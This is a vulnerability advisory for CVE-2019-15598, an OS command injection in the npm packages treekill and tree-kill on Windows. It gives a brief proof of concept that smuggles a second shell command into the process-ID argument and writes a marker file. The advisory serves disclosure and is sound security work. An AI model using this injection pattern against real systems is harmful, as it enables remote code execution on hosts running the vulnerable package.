GHSA-j7fq-p9q7-5wfv
Dashboard / Vulnerabilities / GHSA-j7fq-p9q7-5wfv
Summary: Treekill Enables OS Command Injection
Details: A Code Injection exists in treekill and tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command. ### Steps To Reproduce: Create the following PoC file: ```js var kill = require('treekill'); kill('3333332 & echo "HACKED" > HACKED.txt & '); ``` Execute the following commands in terminal: ```shell npm i treekill # Install affected module dir # Check *HACKED.txt* doesn't exist node poc.js # Run the PoC dir # Now *HACKED.txt* exists :) ``` The HACKED.txt has been created
References: https://nvd.nist.gov/vuln/detail/CVE-2019-15598, https://github.com/pkrumins/node-tree-kill/issues/30, https://github.com/pkrumins/node-tree-kill/pull/31, https://github.com/pkrumins/node-tree-kill/commit/ff73dbf144c4c2daa67799a50dfff59cd455c63c, https://hackerone.com/reports/701183, https://hackerone.com/reports/703415, https://github.com/node-modules/treekill/blob/master/index.js#L32, https://github.com/pkrumins/node-tree-kill, https://security.snyk.io/vuln/SNYK-JS-TREEKILL-536781
Affected packages
Package
Name: tree-kill
Purl: pkg:npm/tree-kill
Affected ranges
Type: SEMVER
Events:
